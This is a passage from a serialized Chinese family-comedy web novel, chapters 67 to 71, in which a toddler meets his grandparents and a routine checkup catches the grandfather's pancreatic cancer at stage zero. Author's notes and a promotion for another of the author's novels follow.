实际上也不算是埃德蒙小题大做,霍云轻的病情特殊,任何时候都不能放松警惕。 虽然霍云轻一向觉得她已经活够本了,完全不介意自己是否会早逝,但对埃德蒙来说没什么比妻子的健康更重要的,霍云轻每次出问题,埃德蒙都会因过度恐慌而陷入阶段性失眠。 所以不仅是对霍云轻的限制尤为严格,他自己也深受折磨,每次都要产生不少白发。 不过他本就是铂金发色,现在看起来只不过更偏白金而已,并不会因此显出老态,但这次却是连霍云轻都感觉到丈夫似乎突然苍老了一些? 但霍云轻也知道埃德蒙近期忙得都没时间和她吵架玩,而且她一发病不论严重与否埃德蒙都会失眠,而现在也的确是上了年纪,又忙又睡不着觉容易体重下降,人就很容易沧桑显老。 所以霍云轻未觉有异,却也还是有点心疼的。 虽然面上不显,心里还是原谅对方接连没收自己两个手机的重大罪状,抬手帮男人理了理略有点歪斜的领结。 夫妻三十载,埃德蒙哪能不懂妻子的肢体暗示,路上风干的眼眶顿时又湿润起来,一开口就是缠绵悱恻的地道中文:“轻~” “我的轻~我以为你还在生我的气~~” 霍云轻早些年也受不了老外这种情绪过分外露的肉麻劲儿,但夫妻这么多年她早已习以为常,甚至当着保姆佣人的面,也能满含深情地回应一二。 不过今天她刚叫了一声“埃德”,就被魂牵梦萦的小奶音打断了—— “奶奶!!宝来呐!!!” 霍云轻一激动,别说后续柔情百转的情话了,连手里的领带都忘记松了,一路薅着丈夫的领带将人扯到了门口,发现后也没半点愧疚,松手还不忘将人往边上一推,避免丈夫出手抢崽。 好在这边霍云轻将心心念念的宝贝小孙孙抱进怀里,旁边的霍懿安也成功扶住了亲爹。 期待已久的新孙孙在前,埃德蒙也顾不上抱怨妻子,在看到崽子粉雕玉琢的小胖脸的瞬间,他就理解为什么此前妻子会说这孩子一看就和他们家有缘了。 完全是长到了他们夫妻心缝里! 虽然是领养的,但凭他们的糟心儿子也很难生出这么软萌可爱的小宝贝啊! 埃德蒙不自觉夹起嗓子:“你就是嘟嘟对吗?” 但埃德蒙并不知道,“嘟嘟”原本是只有爸爸能叫的专属昵称,霍懿安这个亲爹和霍云轻这个奶奶,都是经过崽子在心里特别批准的,外人绝对不可能。 是以话音未落,崽子圆溜溜水润润的桃花眼唰的眯起,直勾勾盯了过来:“……里系谁?” 第68章 埃德蒙没觉得有什么不对,反倒还觉得新鲜出炉的小孙孙看着奶萌萌的,但瞪眼盯人的时候却格外有气势,简直越看越满意。 郁明殊却略显不解看向见缝插针盯着自己的男人,而霍懿安的视线虽然始终争分夺秒盯郁明殊,但也一直没错过祖孙三人间的反应,蹙着眉微不可察地对着郁明殊摇了摇头,示意他先别过度忧心。 虽然也有霍懿安整日盯人的原因在,但郁明殊敏感多思的程度是连霍懿安都能感觉到的,有时候事情还没开始,郁明殊就已经按最坏的情况思虑起来。 霍懿安让他先放宽心,平行世界他们俩之间都能存在男变女的特殊情况,嘟嘟未必不是只有奶奶没有爷爷的特殊情况。 他母亲就不止一次说过,她对B国乃至整个珀西家族都没有任何留恋,完全是为了埃德蒙被迫留下的,如果能重来她也许会洒脱地选择去父留子。 平行世界的霍云轻也许就是换了另一种活法,而按他母亲的个性,一旦决心切割就不会留半分余地,别说嘟嘟没见过爷爷,平行世界的他也许都没见过父亲。 霍云轻对夫夫俩的小九九一无所知,同样不以为意笑着夹起嗓子:“嘟嘟宝宝,这是爷爷哦~” 西奥多闻言怔了一瞬,很快就摇头否认:“不系,介不系耶耶!” 虽然没见过爷爷真人,但他也见过爷爷好多次,奶奶房间里单独有一个隔间,里面摆满了爷爷的照片胸像还有等身雕塑,他爷爷才不是眼前这个胡子拉碴头发半白的坏家伙! 崽子一开始只顾着跟奶奶贴贴了,完全没注意到旁边还有个洋老头。 而且别看崽子自己也是半个小洋崽,对外国人,尤其是人均金发碧眼冷白皮的珀西家族,他多少也有点脸盲。 所以他印象中那些讨人厌的亲戚老头都酷似眼前人,看着就讨厌! 所以在几个大人都以为崽子是认生,一时接受不了新爷爷之际,小家伙再次发出灵魂拷问:“里这么老,怎么会系宝嘟耶耶?” 说完指了指自家亲爹,然后伸出一双小胳膊好一番比比划划,细致描述了爷爷哪里像爹地,哪里又不像爹地,总而言之,年轻英俊不是老头! 听得埃德蒙一愣一愣,忍不住笑着看向一旁的妻子:“亲爱的,原来你还有个更年轻的丈夫,他也是叫埃德蒙·珀西吗?” 虽然崽子说得有鼻子有眼,霍云轻也只是觉得好玩,便笑着配合道:“是,我的丈夫埃德年轻英俊,这位老先生还是早点回家吧。” 崽子还一本正经点头:“对嘟,宝耶耶系埃德!~” 就是因为奶奶开心的时候叫爷爷埃德,生气的时候叫爷爷埃德蒙·珀西,那是他第一次知道大人之间是会用最特别的昵称称呼彼此的,所以他特别喜欢爸爸叫他嘟嘟! 崽说完,埃德蒙顿时笑得更大声了,霍云轻则在一旁掩唇吐槽:“都说让你再忙也不能忘记保养,现在好了,跟我一点都不匹配,小心以后嘟嘟叫你老爷爷。” 夫妻俩笑得很开心,霍懿安却也听出些不对劲,在郁明殊的眼神明示下,他直接从亲妈怀里夺过依旧有些懵逼的小家伙:“嘟嘟要上厕所。” 崽子闻言更懵了,愣眉愣眼转向亲爹:“宝米有……” “你有。”霍懿安斩钉截铁,“你忘了你之前忘记上厕所结果n……” “尿”字还没说出口,崽就眼疾手快捂住了爹嘴,肉嘟嘟的小胖脸瞬间气成小河豚:“宝都说啦,不系故意嘟!” 他就尿了那么一次!都过了这么久,臭爹地不提也许爸爸已经忘了! 而且后面为了避免类似情况,他跑厕所跑得可勤了! 快把他做的坏事忘掉!只能说他什么都好!!! 崽子气得都呲牙了,不过下一瞬,郁明殊一手接崽,一手查看崽子再次乱用的小右手,西奥多立马变脸,恨不能夹出十二个加号:“宝轻轻嘟,米有弄痛痛~” 郁明殊没有责备,但已经决定要给崽子带固定器了,不然小家伙的右手总是反应得太过迅疾。 就这样,刚开启的会面就被一家三口匆匆撤退的脚步打断,埃德蒙还有些不解:“嘟嘟上厕所也需要两个人?他跟懿安小时候一样厕所上到一半就会突然抽风赛跑,需要家长按着?” 这回出手捂嘴的变成霍云轻了:“这种事先不要说!”你儿子现在还只是协议结婚,童年的“丰功伟绩”统统不能说! 虽然霍云轻一直不愿听别人说她儿子有病,但她也得承认,霍懿安确实很不正常。 尤其是小时候干的那些事,每一件都称得上家丑不可外扬,只适合儿子婚姻关系稳定后再关门嘲笑。 * 霍懿安和郁明殊带走嘟嘟,自然是要先问清是怎么一回事。 认识爷爷没问题,完全不认识爷爷也没问题,怎么能只认识年轻时候的爷爷? 小家伙一开口,直接让郁明殊悬着的心死透了:“因为耶耶去了hin远hin远嘟地方哇~” 当然,霍懿安作为平行世界猜想的坚定拥护者,得知平行世界的亲爹早亡,剩下病弱的母亲撑起这个家时,并没有太多代入感。 平行世界的“埃德蒙”早逝,对他来说就跟平行世界的“霍云轻”选择去父留子差不多。 反倒是一旁的郁明殊眼圈有些发红地小声说道:“那个世界没了嘟嘟,连叔叔都不在了,阿姨一定很难过……” 霍懿安眼神一暗,直接将人拥入怀中,脑子完全没转就脱口而出:“也许不是平行世界。” 一下就把郁明殊惊得睁大双眸,他第一反应是霍懿安还藏了许多秘密没跟他说,都顾不上拒绝男人的拥抱了:“你是说……嘟嘟的出生和叔叔的死亡都是未来发生的事?” 实际上霍懿安未经思考的想法过分简单直接——郁明殊因为平行世界难过,那便说平行世界不存在。 没曾想,郁明殊不仅当真了,眼泪唰的一下就掉了下来:“我……有可能吗?” 好在崽子正因“来都来了”脱掉小裤子准备挤一挤,从根源上杜绝他在爸爸面前一不小心当坏宝宝的一切可能。 是以专注酝酿的崽儿既没听到俩爹之间的气音私语,也没看到爸爸濡湿的眼眶。 “可能性确实很小……”霍懿安的大脑重新恢复运转,所以给出否定答案后一边不经意收紧怀抱一边迅速转移话题,“但既然有这个可能,你和我父亲一起做个体检怎么样?” 作者有话要说: 我好像又中招了,这次可能是朋友传染的,宝宝们戴好口罩也要防好亲友[捂脸笑哭]吃药太困短短[小丑] 第69章 霍懿安前一秒还觉得自己一定是突然疯了,才会口不择言否定平行世界的存在,但现在只觉得这是神来一笔。 他当然完全不相信这些会发生在未来,毕竟他和郁明殊谁都没法以男人之躯生子。 再者说他父亲对自己的健康状况的关心程度远比不上对他母亲,但每年一次的全面性体检,和个别3-6个月一次的针对性检测都是按时按点进行的,而最近一次检查的结果都是非常健康的。 否则以他父亲的个性,早就以身体抱恙为借口用亲情绑架、剥削他做那些他异常厌恶的工作了。 而霍懿安原本就很在意郁明殊的凝血问题,只不过当时已经知晓薛家背地里存在诸多勾当,他才暂时搁置了让郁明殊立即进行全面体检的想法。 毕竟不论是西奥多和他,还是西奥多和郁明殊,之间的血缘连接都不适合被外人知道,而这人在得知爸崽鉴定结果后就不再听他话…… 但在B国,父亲这些年为母亲的病情在医疗领域投入颇多,虽非主营板块,但起码可以保证郁明殊获得一份绝对干净准确的体检结果。 所以这次体检以全面评估郁明殊的身体健康状况为主,同时兼顾凝血功能的检测,顺带查一下是否存在抑郁问题引发的器质性病变,比如内分泌、消化系统、免疫代谢等相关异常。 至于郁明殊是否能够生子,霍懿安在一开始就调过郁明殊曾经的体检档案,确定对方不存在两性畸形的问题。 而就算是两性畸形患者,两套生殖系统在体内一起正常运转的可能性都极低,更别说怀孕生子了,所以霍懿安一早就将其排除在外。 关乎西奥多来源真相,郁明殊当然不会拒绝男人的建议。 这边他刚点头答应,崽子已经洗好小手走了出来,看到紧黏在爸爸身上的亲爹,小嘴一下就嘟了起来。 虽然很想找茬,但爹地这次没有用脏嘴嘴亲爸爸,他没理由出手! 但聪明崽崽不怕困难!! 西奥多倒腾着小短腿奔向俩爹,一边喊着“拔拔!嘟嘟也要抱抱!~~”精准贴上爸爸的长腿,一边将湿漉漉的左手塞进亲爹腿缝里擦手。 表面上看起来就成了崽子飞扑俩爹,还一视同仁抱住俩爹的长腿,实际上拢在郁明殊腿上的是不能碰水的小伤手。 这么细节的操作,也就霍懿安这个被打湿裤缝的当事人能发现,然而小臭崽带来的糟心事还不止这一桩。郁明殊原本是被各种真相可能性引走了注意力,经崽子提醒才意识到霍懿安抱得有多紧。 耳根腾的一下红了,郁明殊立即将男人推开,俯身抱起了崽子:“单手上厕所没问题吗?” 郁明殊原本是想陪崽上的,但被小家伙第一时间拒绝了,因着身上穿的是单薄好脱的下装,他便选择信任崽子。 崽以为自己能挤进俩爹之间就很好了,没想到爸爸一把将爹地推开,将完整的怀抱都给了他。 整只崽一下就美了起来,小奶音甜糯指数进一步飙升:“米有问题~左手足够啦~~宝系大宝宝,阔以寄几嘘嘘哒~~~” 说完还将刚擦干的小手举了起来:“宝洗嘟hin干净喔~” 郁明殊笑着点点头,捏了捏崽的小手:“嘟嘟真棒,不仅洗白白还擦干净了。” 崽子有点心虚但不多,依旧扬着小下巴应下爸爸的夸奖,只不过全程没往亲爹霍懿安方向看。 至于被当擦手巾的霍懿安,他早已不是最初那个被尿发狂的简单型洁癖患者,虽然依旧存在一定的洁净强迫,但只要不是突然被崽尿身上,或者突然被崽投放毒气弹,他还是能勉强忍受的,就是很想打一打小臭崽格外圆润的小屁股! 但考虑到郁明殊对崽的溺爱程度,霍懿安还是选择理智应对——在郁明殊看不到的角度,狠瞪了小臭崽一眼。 “嘟嘟要再重新检查一下吗?”比起自己,郁明殊永远都更担心崽子。 嘟嘟闻言好奇仰起小脑袋,他不是不久前才刚做过许多化验吗? 霍懿安:“暂时不用,可以先参考A市那边的检测结果。” 虽然眼前崽对上他的大多时候都是个小坏蛋,但霍懿安不知何时起也会不自觉生出一分心疼忧虑,尤其是看着小家伙一脸甜蜜奶萌靠在郁明殊怀里贴来蹭去的小模样…… 放在以前肯定是直接送去一起重新做个全面体检,省事高效结果也更准确,但现在他会考虑小家伙先是因“薛景灿”晕厥一夜,醒来后又因薛景灿打裂伤口经历了一系列治疗,随即便跟他们一起飞回B国。 再体检化验就折腾得太频繁了,而且A市那边的化验结果应该不会有什么大问题。 * 两大一小是下午四点抵达的庄园,正常来说应该是休息一晚顺便达成空腹条件,第二天一早进行体检。 但郁明殊一直没什么食欲,在飞机上一口没吃,就连水都没喝几口,本就符合全面体检的空腹时间,也就没再多等,直接在父崽的陪同下先将体检做了。 做完体检,庄园已经备好丰富的晚餐,初见时不认爷爷的崽子,再见发现新爷爷明显变年轻了。 埃德蒙将胡须刮干净,又做了紧急保养,换上更显年轻的宽松亚麻衬衫和浅色休闲裤。 新爷爷不说跟照片里的爷爷一模一样,但年龄差距起码缩短了一大半,西奥多从小看照片、胸像、雕塑积攒出的熟悉感逐渐回笼。 具体表现为他愿意伸出小手给对方捏捏了,抱抱的程度一时半会还达不到,而且有霍云轻这个抱崽狂魔在,埃德蒙根本连尝试抱崽的机会都找不到。 霍云轻一边抱崽贴贴,一边连连感叹:“嘟嘟怎么会这么可爱呀!~香香软软的跟你爹地小时候完全不一样~手手更可爱、小胳膊更可爱、小肚肚也更可爱……” 就差将霍懿安的每一寸关节都单独拎出来拉踩一番了。 霍云轻其实一直想要个女儿,但霍家的情况让她早早意识到女儿不是想生就能生的,之后她也的确是生了个儿子。 但霍云轻还是能自我安慰,虽然没生女儿,但她儿子混得还是很成功的,金发碧眼的幼崽期像洋娃娃一样,比许多小女孩还要漂亮。 但幼崽期的霍懿安只是有漂亮的外表,梆梆硬的小身板往哪一站都是个兵,表情更是随时都像跟谁有大仇一样。 现在习惯性面无表情的模样,都是夫妻俩辛苦引导的成果,霍云轻就没在儿子身上感受过什么叫软萌可爱。 这下终于让她碰上犹如被郁明殊基因优化过的完美|幼崽,怎能不爱不释手!要不是早就意识到宝贝小孙孙没准帮她儿子保住来之不易的协议婚姻,霍云轻是真想将嘟嘟留在身边。 崽子被她rua得咯咯直笑,看得一旁的埃德蒙别提多眼热了。 不过崽子的孝顺只够维持一刻钟的,哪怕处于同一空间,他配合奶奶黏糊了一阵,就扭动着小屁股要回到爸爸怀里。 霍云轻一向爱美人,当年选择进入娱乐圈,很大一部分原因也是奔着结交美人去的。 只不过她身体撑不下高强度工作,而且圈里美人多,变态也多,各种各样的乱事看多了实在影响心情,她也就早早离开了那个圈子。 而埃德蒙年轻时也是大帅哥,但面部线条过于冷硬,她是在爱上后才开始觉得对方长得也还不错。 霍懿安的外貌本就是基因优化后的结果,青少年时期遇上过不少塞名片的星探,但依旧达不到霍云轻对美的严苛追求,她还是更喜欢爸崽这种精致完美的漂亮脸蛋。 对于郁明殊,她自然也想爱不释手一番,但也知道这不可以,尤其在儿子还没将人稳住的时候,她这个婆婆就更不适合流露太多真面目。 所以她就相当含蓄地装成是要找崽贴贴,然后一屁股挨上郁明殊,借着逗崽的由头近距离欣赏,一边还要抽空催埃德蒙多给他们拍一些合照。 霍懿安原本觉得将爸崽交给母亲再放心不过了,晚上他可以先找劳伦斯教授面对面详谈一番,确认崽子的治疗方案,再跟父亲聊一聊薛家的反常情况,但见亲妈宛如狗皮膏药的姿态,一双眼睛恨不能黏在郁明殊脸上,立即改变了决定。 “我们先回房了,他们都需要早些休息,嘟嘟明早还要见劳伦斯……”没等说完,霍懿安已经接过崽子拉起郁明殊,带着父崽往卧室方向走。 都说知子莫若母,霍云轻还能看不出是怎么一回事? 对着儿子离开的背影用眼神好一番蛐蛐:有本事跟妈妈抢人,怎么没本事将人真正娶回家? 尤其是看到郁明殊不露痕迹将手抽走,拉开和霍懿安之间的距离时,霍云轻别提多么恨铁不成钢了:“唉!!!” 一旁的埃德蒙也相当不舍,只不过视线焦点始终落在儿子肩上冒出的那一抹铂金色小软毛:“希望明天嘟嘟可以让我抱……” 霍云轻抬眸看向精神打扮一番却还是难掩疲累沧桑的丈夫,伸手轻拍了拍,像是要出言安抚,实则刻意炫耀:“真奇怪,我和嘟嘟第一次见的时候,他就让我抱了呢~” “亲爱的你……!”埃德蒙学着嘟嘟那般瘪起嘴角。 霍云轻摸了摸自己依旧光滑弹性的面颊,本想继续气一气丈夫,但没忍住先笑了出来:“一把年纪还装可爱!” 当然,打趣归打趣,第二天一早霍云轻为了陪丈夫体检,她还是罕见地起了个大早,差点在凌晨三点半就把丈夫从床上挖了起来。 要不是霍懿安的提议,她只会觉得丈夫是因近期家族事物过于繁重,又因她身体问题严重失眠,本就年纪大了,经不起折腾,多重原因叠加自然就容易显得状态不佳。 但儿子一说,她也难免会对号入座,越想越觉得丈夫近期的情况不对劲,还因为思虑太重做了个噩梦。 梦里,一直想跟她白首偕老,为此哪怕她发脾气都不肯在她健康问题上让步的丈夫,却先她一步被查出绝症,医生说还有半年生命,可埃德蒙却在确诊的第三十五天,就永远离开了她…… 第70章 妻子身体不好,儿子脑子不好,埃德蒙一直觉得自己是这个家最健康的人。 哪怕近期因工作繁忙、严重失眠导致状态不佳,他依然不觉得自己身体会出什么问题。 之所以同意提前做升级版年度体检,完全出于享受家人关爱。 体检不重要,重要的是妻子儿子甚至还有儿子伴侣和小孙孙对他的担忧和关心。 然而过度详尽的体检结果一出,别说埃德蒙了,霍懿安都始料未及——胰腺癌。 霍云轻看到报告后,直接晕了过去。 郁明殊同样被霍懿安趁机按着做了最全面详尽的体检,检查结果比埃德蒙早半天出来。 虽然碰上了一对极不负责的养父母,但郁明殊还是好好长大了,不仅善良正直有担当,身体底子也很不错。 不然这么折腾了几年,精神都要出问题了,但检查结果除了天生的轻度凝血障碍,再就是胃部有点小毛病。 因着各方面的激素水平也很正常,针对盆腔的影像学检测也没发现什么异常情况,和霍懿安预想的完全相同,他自然更加认定崽子来自平行世界而非未来。 至于为了让郁明殊体检,顺便要求父亲进行的全面体检,他也没觉得会有什么问题。 胰腺癌的检查结果一出,霍懿安只觉当头一棒。 埃德蒙并非胰腺癌高危人群,既没有家族史、烟酒史,也没有胆囊胰腺方面的疾病或者糖尿病,甚至在与霍云轻结婚后,这么多年一直身心幸福情绪也异常稳定。 可以说一切和胰腺癌可能产生关联的条件他都不满足,但他还是命运般罹患上这种恶性程度最高、预后情况最差的癌中之王。 即便霍云轻因噩梦而胡思乱想时,都没有考虑过丈夫会检查出胰腺癌。 霍云轻听到胰腺癌就晕倒了,好在昏厥程度不深,刚被医护人员转移到病床上未等抢救人就悠悠转醒,只不过依旧是面白如纸,浑身上下连说话的力气都没有。 埃德蒙的注意力都转移到妻子身上,哪里顾得上癌不癌的,西奥多根本不知道胰腺癌意味着什么,他只知道奶奶突然昏倒,拽着爸爸就追了过来。 郁明殊以为他的检查结果已经指明埃德蒙不会有大问题,看着如此情深的夫妻俩陷入这般绝境,他也忍不住难过起来…… 郁明殊本就敏感,还有着天生的高共情力,就像之前遇上沈铁峰一家时,哪怕他这辈子恐怕都要活在求而不得的孤单困苦中,但他还是希望这种幸福的家庭能够有一个美好的未来。 他什么都没有,一直活得很惨,却依旧见不得善良之人遭遇噩运,见不得慈爱尽责的父母失去孩子,见不得深情美满的夫妻阴阳永隔……甚至会隐隐生出一种,是不是他的糟糕命格将不幸传递给他们了? 心里的理智小人告诉他不要胡思乱想,但被命运再三击溃而滋生出的黑暗小人,却又将他的心一点点拖向沼泽。 崽无法理解眼前状况,但他同样能敏感察觉到情况不对,奶奶晕倒,爷爷痛哭,小小的崽崽怎么可能不怕? 可当崽仰头发现爸爸红着眼眶掩唇颤抖,爱爸崽瞬间生出无尽勇气:“拔拔!抱!” 郁明殊一把将崽拥入怀中,心底的黑暗仿佛瞬间被驱散了大半,这才突然意识到:霍懿安不见了……? 霍懿安虽然也担忧母亲,但他第一时间进行理智判断,不论母亲晕倒情况严重与否,都有一大堆人跟过去了,他过去几乎起不到任何正面加成,不如听完医生关于父亲病情的分析。 事实证明他的选择无比正确——埃德蒙虽患胰腺癌,但不幸中的万幸,只是原位癌。 就是胰腺癌在临床能检测到的最早期状态,也被称为“0期癌”。 因胰腺癌的病程是出了名的迅速,而且常规体检很难将其筛查出来,所以哪怕是顶级富豪也时常难逃厄运,是以主治医生对着检查结果再三感叹埃德蒙实在是极为幸运,竟然在最初期就顺利筛查出微小病灶。 霍懿安姗姗来迟,一句话逆转满屋悲戚:“……准确来说是胰腺原位癌,只要立即切除,五年生存率接近100%,十年生存率也能达到95%以上。” 前一秒还被埃德蒙抱在怀里虚弱落泪的霍云轻,瞬间活了过来。 比脉动广告还夸张,几乎是从病床上弹射般坐起,脸也不惨白了,嘴也不抖了,一双杏眼睁得滚圆:“真的吗?!” 她当然清楚儿子有着怎样的人机属性,从来不会开这种玩笑,但她还是忍不住再三确认才敢相信。 霍懿安难得孝顺一把,不论母亲如何言语拖沓表述冗赘,他都耐下心颔首给出肯定答案:“发现得很及时,几乎是癌细胞刚形成具有病理诊断意义的病灶,就被及时筛查出来了。” 胰腺原位癌的病灶极小,现在手术相当于刚进入萌芽阶段就被精准拦截,哪怕是人类实体肿瘤中预后最差的胰腺癌,也有了可以治愈的可能性。 郁明殊原本只是鼻酸,听到喜讯反而眼眶越发湿润。 就在他收紧怀抱,贴着崽子耳侧低声感叹“太好了嘟嘟,爷爷没事……”之际,弹射坐起的霍云轻进一步弹射下床,几乎是一个箭步飞扑抱住了爸崽二人。 一开口是喜极而泣的激动哽咽:“小殊,你是我们家的福星!谢谢你愿意和懿安一起领养嘟嘟!!” 郁明殊被抱个猝不及防,先是错愕而后是赧然:“没……不是我,这都是嘟嘟的功劳……” 霍云轻一手轻抚脊背,一手按在他脑后,像哄小孩般轻拍着:“嘟嘟也有功,但最大的功臣就是你!” 在郁明殊的视角来看,一切是因嘟嘟没认出爷爷,他们才会猜测崽子来自未来进而体检确认,霍云轻的确不知道这些。 但她了解儿子,清楚霍懿安立即安排如此详尽的体检是为了郁明殊。 他们谁都没想到一向健康的埃德蒙会有如此意外,所以不论郁明殊怎么否认,霍云轻都认定此事,第一时间将早些年陆续收购的某顶奢品牌的股份转给了郁明殊。 霍云轻眼光不俗,当年收购时该公司正值风雨飘摇,前前后后也就花了不到十亿美金,后续该品牌起死回生,霍云轻收购的股份市值早就突破了百亿。 郁明殊本就不觉得是自己的功劳,面对如此巨额的感谢费,他当然不能接受。 然而郁明殊的坚持却轻松败给了那句“就当是给孩子的”,霍云轻甚至直言郁明殊和嘟嘟都是神赐予他们的礼物,哪怕协议婚姻不能按常理看待,但不会改变她只有嘟嘟这一个孙子的事实。 以后她和埃德蒙拥有的一切都是嘟嘟的,现在不过是提前拿出一点点罢了。 霍云轻、埃德蒙和霍懿安,甚至连崽子都对此毫不在意,只有郁明殊一人被巨额资产砸晕了,一连几天都感觉自己生活在梦里。 而同样感觉自己生活在梦里的还有远在A市的薛景灿,只不过不同于郁明殊的百亿美梦,薛景灿的梦则是让他身败名裂的噩梦。 虽然父崽三人一到B国就因埃德蒙立即需要手术,而暂缓了崽子看诊的安排,但网络上对薛景灿的讨伐从未停止。 再加上张秘书全程跟进,薛景灿没等被放出拘留所,虐狗人渣的骂名就已经被坐实了。 说起来还要归功于薛景灿早期为了立人设,没少发布小狗照片,迷妹迷弟一反水,第一时间就拿起显微镜细扣起来。 虽然薛景灿只说小狗露露套上袋子叫声如何,但虐狗的人渣大概率不会满足只搞窒息这一种玩法,而小狗虽然毛茸茸的,身上有伤不容易被看出,但他们可以放大到像素点的程度仔细检查。 结果还真没发现小狗身上有伤。 但网上从不缺福尔摩斯,没多久就有人发现,薛景灿的“露露”似乎不止一只,而是很多只长得极为相似的纯种马尔济斯犬。 天底下没有两片相同的叶子,哪怕是双胞胎都做不到一模一样,小狗同样如此。 即便薛景灿刻意找了许多只长相相近的马尔济斯,但还是能从毛发质地、隐在毛发间的皮肤斑点、眼型弧度和鼻头大小等多种细节处中窥出细微差别。 虽然薛氏公关部一再澄清否认新任董事长是个虐狗人渣,但网友还是很快发出了多张细节对比图,力证薛景灿多年来在社交平台发布的“露露”,和薛景灿朋友同学发出的“露露”照片,里面的露露至少是七只不同的马尔济斯犬。 对于网友们的尖锐质问,薛氏公关部无法给出可以服众的回答。 现在除非薛景灿一出拘留所,就能将七只马尔济斯全都完好无损地带到大众面前,否则不仅虐狗人渣的骂名洗不掉,还会被怀疑与露娜之死脱不了干系。 张秘书之前误以为薛景灿和薛德茂不同,也就没多联想,在得知薛景灿真面目后,他瞬间想起混血女生露娜退学后直接跟父母回国……也就是几乎是和薛景灿前后脚回到了B国。 是以张秘书跟着父崽抵达B国,就马上驱车赶往露娜父母家。 作者有话要说: 嘟嘟/嘟爹/嘟奶/嘟爷:区区百亿[摆手] ◆推推沙雕甜爽完结文《三句话让偏执男主为我996[穿书]》[让我康康][让我康康][让我康康] 时乐一睁眼成了霸总,却是复仇文里把男主当金丝雀百般折辱的恶毒炮灰霸总。 男主恨他入骨,最终他身败名裂家破人亡。 更要命的是,他穿来时已经用五百万买下男主。 ——别墅全景落地窗前,满身伤痕的少年男主看向屈辱合约,眼底血色翻涌。 时乐点点头,保命套路他懂,他这恶毒炮灰必须抓紧时间扭转身份。 他微微一笑,火速将包养合约改成十年经纪约,薪酬优先抵500w债款。 时乐:“小伙子加油干,打工赎身不寒碜!” 男主:? #真抠比绝不白给,男主也不行# * 邢羿是个美强惨男主,被亲妈抛弃、被变态践踏、被渣爹利用、被朋友欺骗……重生后他只想毁掉一切。 却发现,这一次他的仇人完全变了—— 阮时乐带他回家、为他治伤、给他找最好的经纪人; 他拍戏出意外,阮时乐飞到片场连夜彻查; 他红毯首秀,阮时乐主动拿出自己昂贵的定制私服; 他逐渐发现阮时乐珍藏了他所有签名周边、海报、用的都是他的代言…… 所有人都劝他珍惜这段情,就连铁石心肠如他也几乎动摇。若爱是牢笼,成为金丝雀也无不可…… 直到听阮时乐酒后真言:“经常受伤会耽误拍摄……” “咱俩同码穿我的旧衣服多划算!再代言个冲牙器吧~哥帮你试用鸭*罒▽罒*” 邢羿:?? 最后他发现,就连周边海报都在闲鱼上卖了六位数! * 后来,时乐公司面临破产。 看着眼前已经成为豪门掌权人的邢羿,时乐目光游移: “之前一九分成你也是同意的,可不兴秋后算账…” 邢羿黑眸阴翳:“哥哥误会小羿了,哥哥新签的都急着解约,不像我,只想回来帮哥哥加、油、干。” 时乐:??? 【沙雕小财迷霸总受x病娇绿茶影帝攻】 攻受身心双初恋~《 》 70-80 第71章 虽然埃德蒙的检查结果已属不幸中的万幸,并在第一时间安排了手术,预后效果极佳。 但霍懿安还是以此为理由,让父亲尽快放权。 之所以如此,还要说回两大一小抵达B国的第一晚,霍懿安原本给父子谈话留了一个小时的时间,结果谈了没到十分钟就被埃德蒙草草叫停。 理由是他困了。 霍懿安只是脑回路迥异于人,但他不仅智力超群,逻辑能力还尤为突出,再加上对亲爹失眠毛病的了解,就算闭眼睛也能看出父亲是在逃避深入探讨他对珀西家族产生的怀疑。 当然,霍懿安其实对珀西家的任何事都不感兴趣,只不过是在查薛景灿时发现他在B国的一切记录都太过完美。 他不信这人渣会活的如此干净,也就顺藤摸瓜查到了薛景灿与二叔家的牵扯。 如果是二叔有意遮掩,他这个完全不参与家族事务的家主之子也会处处掣肘,所以他需要父亲放权。 本以为这是一件再简单不过的事情了,毕竟此前父亲多次希望他可以回来帮忙,帮忙分担一些公务,上了年纪干不动云云。 当时,霍懿安既知道父亲身体极佳,又清楚父亲想要放假是要跟母亲去多度几个蜜月,自然是睬都不睬一下。 然而现在他主动提出要帮忙,真正陷入疲累的埃德蒙却不肯了。 霍懿安就算是神经发育异常,也能轻松识破亲爹的异常,同时也能大概感知到水下冰山有多么巨大。 所以第二天埃德蒙刚确诊胰腺原位癌不久,霍懿安故意当着母亲的面,再次以父亲身体不好的理由,要将家族事务全部接过来。 霍云轻可太感动了,自从儿子因郁明殊开窍后,都能主动散发人味儿了! 其实埃德蒙近半年明显见老,但因着有失眠做烟|雾|弹,霍云轻朝夕相处看不太出来,霍懿安压根没长那根筋就更看不出来了。 什么头发半白、皮肤松弛、眼下暗淡,这种变化对他来说太过于细节,而他最不耐的就是各类琐事……要不是确诊原位癌,霍懿安也很难找到合理借口。 但即便霍懿安这么说,埃德蒙也不肯轻易松口,理由也都是现成的。 虽然胰腺癌的名头听着吓人,但十年生存率能达到95%以上,术后要不了几天就能恢复正常,没必要让儿子临时接棒引起不必要的动乱。 而且霍懿安的心思太好看透,埃德蒙很清楚儿子只是想借机查自己想查的东西,根本不是想要接班替他分担家族事务。 埃德蒙:“之前说了那么多次你都不肯,这次如果只是帮两三个月的忙就不要提了。” 霍懿安:“你管之前做什么,现在我想帮忙,帮一天也是帮,凭什么不让我提?” 霍懿安太过理所当然,即便埃德蒙早被儿子磨没了脾气,还是被气得捂住了胸口:“原位癌都被你气疼了。” 霍懿安懒得纠正太多,只提醒一点:“病灶在右上腹,你捂错位置了。” 埃德蒙:“……你赶紧走吧,我要术前准备了!” 埃德蒙拒绝得不算生硬,霍云轻只当是父子日常斗嘴,但霍懿安却越发确认珀西家族肯定出了什么问题。 不过他再想紧追不放,也绕不过“生病的人最大”,这时候连霍云轻也配合丈夫赶人。 而霍云轻赶人的方式也极有技巧,直接让霍懿安去陪一陪郁明殊和崽子。 听到“郁明殊”三个字,霍懿安的双腿就进入自动行走模式,直奔爸崽而去。 走到半路才给自己的行为找补,父亲马上手术,正是母亲最维护父亲的时刻,留在那边也不会有什么进展。 还是等术后趁父亲虚弱的时候再提,成功率显然更高,就算父亲仍旧不肯放手,趁对方虚弱的时候硬抢也不是完全没胜算的。 霍懿安找过来时,郁明殊正在陪崽子午睡。 郁明殊当然是完全睡不着的,满脑子想的都是如何拒绝百亿股份。 不幸的他怎么配当这个幸运吉祥物,甚至还收下如此巨额的优质资产? 霍懿安一将人叫出来,就发现郁明殊神色不对,软唇比平时抿得紧,漂亮的眼尾也微微下垂似有烦心事。 在他的认知里,人不会因为突然获得一点股份就寝食难安的,自动将郁明殊的不对劲归纳为对他无法深入调查的担忧,也就毫无隐瞒的将两份计划全盘托出,简而言之先礼后兵,趁火打劫。 